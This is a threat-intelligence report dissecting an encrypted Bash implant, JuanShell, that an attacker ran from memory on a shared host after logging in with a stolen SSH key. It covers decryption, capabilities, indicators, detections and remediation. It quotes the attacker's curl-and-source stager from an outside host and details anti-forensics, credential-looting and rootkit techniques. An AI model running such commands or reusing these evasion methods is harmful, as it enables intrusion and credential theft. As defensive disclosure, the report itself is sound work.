An encrypted Bash implant that an attacker ran from memory on a shared shell host, after the attacker logged in with a stolen SSH key. This report gives the full decryption method, the recovered capabilities, and the indicators of compromise.
The attacker connected over SSH and authenticated with a public key on the first attempt. No password was involved. The private key belonged to the account owner, so the account password policy could not stop the login.
About 27 seconds later the attacker fetched an encrypted script into /dev/shm,
decoded it in memory, and deleted the downloaded file. Everything after that point is the
script, not a human at a keyboard. The whole session lasted about 3 minutes and 10 seconds.
curl -4k -o /dev/shm/js https://logs.compileasaservice.online:2087/js \
&& PASSWORD=a86019b0574edbfdd01588d8acc39f1516f6a BC_FN=/dev/shm/js source /dev/shm/js
rm -Rf /dev/shm/js
The implant carries that command in its own header comment. The password arrives on the command line, not inside the file.
The file starts with #!/bin/sh and holds four layers. The first three layers
only hide the fourth. A decoy string of 2,375 random bytes sits in a variable named
_ and the script never reads it.
The loader is cut into 104 fragments. Between the fragments the author put two substitution patterns that produce empty output. The shell joins the fragments back into one command before it runs them.
`:||<BEL>` → runs ": ||" and prints nothing
`! :&&<BS>#` → short-circuits, then the "#" comments out the rest
To undo this layer, remove every pair of backticks and the bytes between them.
The joined command echoes a 9 KB blob into Perl. The Perl filter drops every byte outside the printable range. Only the Base64 characters survive.
eval "$(echo <blob> | LANG=C perl -pe "s/[^[:print:]]//g" \
| openssl base64 -A -d)"
The decoded stage is a password loader. It sets a salt string and a small encrypted parameter. If the caller supplies no password, the loader asks for one on the terminal.
S='LmHFjcAD3zubKysZ'
C=2nemzxS1LjqSRPkwXtKQPw==
openssl enc -d -aes-256-cbc -md sha256 -nosalt -a -A \
-k "C-${S}-${PASSWORD}" # yields: R=1937
The body starts after the second newline plus one more byte. Three byte pairs stand
in for characters that a shell line cannot carry. The loader restores them, decrypts,
drops R bytes of padding, and decompresses.
B3 → \n B1 → \x00 B2 → B
<body> | openssl enc -d -aes-256-cbc -md sha256 -nosalt \
-k "${S}-${PASSWORD}" \
| perl -e 'read(STDIN,$_,1937); print(<>)' \
| gunzip
The password never appears in the file. Without process telemetry that records the
PASSWORD= assignment, this sample cannot be decrypted. Command-line capture is
the difference between a full teardown and a dead end. In this case the audit log held the
key material.
Run these steps on a copy of the sample. Do not run the sample itself.
python3 - <<'EOF'
d = open('js.bin','rb').read()
ct = d[11844:] # skip 2 lines, then 1 byte
ct = ct.replace(b'B3',b'\n').replace(b'B1',b'\x00').replace(b'B2',b'B')
open('payload.enc','wb').write(ct)
EOF
K='LmHFjcAD3zubKysZ-a86019b0574edbfdd01588d8acc39f1516f6a'
openssl enc -d -aes-256-cbc -md sha256 -nosalt -k "$K" \
-in payload.enc -out payload.raw
tail -c +1938 payload.raw | gunzip > juanshell.sh # R=1937
The result is 121,903 bytes of commented Bash. The offset 11844 is specific to this sample, because it depends on where the loader line ends.
JuanShell is a post-exploitation shell environment, not a single-purpose tool. It defines about 180 functions and prints a help menu. The operator drives it by hand after it loads.
loot, lootlight, and lootmore collect secrets across the host._loot_aws, _loot_openstack, and _loot_yandex query the cloud metadata service at 169.254.169.254. The AWS function handles both IMDSv1 and IMDSv2.np runs NoseyParker over a directory to find more secrets.ssh, scp, rsync, git, and rclone commands, which shows the operator where to move next.HISTFILE=/dev/null, LESSHISTFILE=-, and REDISCLI_HISTFILE=/dev/null.vim to vim -i NONE and screen to screen -ln, so those tools also stop writing history.xlog deletes single matching lines from a log file and keeps the rest.oldify_file sets the access, change, and modify times to a random date between 2012 and 2015.shred overwrites a file with /dev/urandom when /usr/bin/shred is absent. chattrfile clears the append-only and immutable flags first.dmesg -C to clear the kernel ring buffer.zapme rewrites the process name of the shell and of every child process.memexec creates an anonymous file and runs a binary from it. It tries syscall numbers 319, 279, 385, 4314, and 4354, so it works on several architectures.ttyinject and tit read or write another user's terminal, which captures keystrokes from other sessions on the same host.XHOME is a hidden working directory that erases itself when the shell exits.buildlkm and instlkm build and load a kernel module named bootercfg. The module listens on port 10443 and accepts an ICMP trigger with sequence number 10725. The magic word is mtz.lpe runs linPEAS. The session also fetched traitor-amd64 and lpe-toolkit-amd64./proc/net/unix pattern, then dumps the credentials that Ebury already stole._warn_lkm, _warn_rk_exe, and _warn_xmrig_pids1 look for rootkits and miners.murdershit and killem kill the processes that those checks find.
JuanShell is a fork of hackshell by The Hacker's Choice. The source keeps a comment
that points at github.com/hackerschoice/hackshell/issues/6, and it still calls
the original service endpoints ip.thc.org, thc.org/ws, and
gsocket.io.
The attacker added the parts that matter for attribution and detection. Those parts are the
beacon to 91.92.242.200, the kernel module installer, the ten hard-coded SOCKS5
proxies, and the dltor downloader that falls back to public IPFS gateways.
| Indicator | Role | Detail |
|---|---|---|
| 209.160.32.194 | SSH source | Source port 49212. Direct, not proxied. |
| logs.compileasaservice.online:2087 | Stager and tools | Serves /js, /gsocket/socat, /exp/traitor-amd64, /exp/lpe-toolkit-amd64. |
| 91.92.242.200:8880 | C2 beacon | /react/apinodb.php?endpoint=sendmessage&message=SIG%20<public_ip>&dirty=react |
| 91.92.242.200:10443 | Kernel module C2 | Module bootercfg, magic mtz, ICMP sequence 10725. |
| 62.171.153.47 | gsocket relay | Set as GSOCKET_IP for exfiltration over rsync. |
| 37.120.235.188 | Tool download | /blah.tar.gz |
| bin.pkgforge.dev | Static binaries | About 30 tools, including nmap, socat, tcpdump, noseyparker, and gost. |
The implant times a download through each proxy and caches the fastest one in
/dev/shm/.fastest_proxy.
| Proxy | Proxy |
|---|---|
| 57.131.24.9:19051 | 204.168.230.46:26065 |
| 57.131.31.130:38300 | 138.124.55.193:14982 |
| 151.243.24.50:47611 | 179.63.15.107:30612 |
| 66.94.96.33:36170 | 2.59.135.127:42213 |
| 178.254.33.163:16099 | 178.105.177.190:18241 |
| Type | Value |
|---|---|
| SSH key fingerprint | [redacted], RSA. The key belongs to the victim, so this report does not carry the value. Request it from the authors. |
| Sample, SHA-256 | 5ccef8e73a47a07f49ac25bbc94e9a14bfe0df149f219fd277b0bed01c4b2ff1 |
| Loader salt | LmHFjcAD3zubKysZ |
| Loader password | a86019b0574edbfdd01588d8acc39f1516f6a |
| Stage-2 password | d79cecacbdc4b89874a5bd7d0899942d2c3d810fface73423218dcbb08b46e97 |
| Kernel module | bootercfg |
| Files | /dev/shm/js, /dev/shm/.fastest_proxy, /dev/shm/tmp.* |
| User agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 |
The implant leaves almost nothing on disk, so process telemetry carries the detection. These patterns are cheap to hunt and specific to this loader.
openssl enc -d -aes-256-cbc -md sha256 -nosalt -k. Modern tools use a key derivation function, so this flag set is rare and it is the strongest single signal here.PASSWORD= together with source /dev/shm/.curl or wget that writes into /dev/shm, followed by a delete of the same path within a few seconds./proc/<pid>/exe link points at a path that starts with memfd:.stat calls across /dev/pts/0 to /dev/pts/54 from one session. This is the terminal enumeration step.lsmod output that contains bootercfg, or a taint flag change on a host that loads no third-party modules.91.92.242.200 on port 8880, and any traffic to the proxy list above.HISTFILE=/dev/null at session start.
Timestamps are not reliable on a host that ran this implant, because
oldify_file rewrites them. Prefer the audit stream and the journal over file
metadata.
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Valid Accounts | T1078 |
| Lateral Movement | Remote Services: SSH | T1021.004 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Defense Evasion | Deobfuscate or Decode Files | T1140 |
| Defense Evasion | Reflective Code Loading | T1620 |
| Defense Evasion | Indicator Removal: Clear Command History | T1070.003 |
| Defense Evasion | Indicator Removal: Timestomp | T1070.006 |
| Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562.001 |
| Defense Evasion | Hide Artifacts | T1564 |
| Defense Evasion | Rootkit | T1014 |
| Persistence | Boot or Logon Autostart: Kernel Modules | T1547.006 |
| Privilege Escalation | Exploitation for Privilege Escalation | T1068 |
| Credential Access | Unsecured Credentials: Private Keys | T1552.004 |
| Credential Access | Unsecured Credentials: Cloud Instance Metadata API | T1552.005 |
| Credential Access | Input Capture: Keylogging | T1056.001 |
| Discovery | System Owner or User Discovery | T1033 |
| Discovery | Process Discovery | T1057 |
| Command and Control | Ingress Tool Transfer | T1105 |
| Command and Control | Proxy: Multi-hop Proxy | T1090.003 |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 |
authorized_keys and rotate the key pair. The root cause is a stolen private key, so a password reset alone does not close the path.lsmod and the kernel taint flags. A loaded module survives the shell that installed it.91.92.242.200 and 62.171.153.47 across the whole estate, not only the affected host.sshd log you keep. One stolen key rarely opens one door.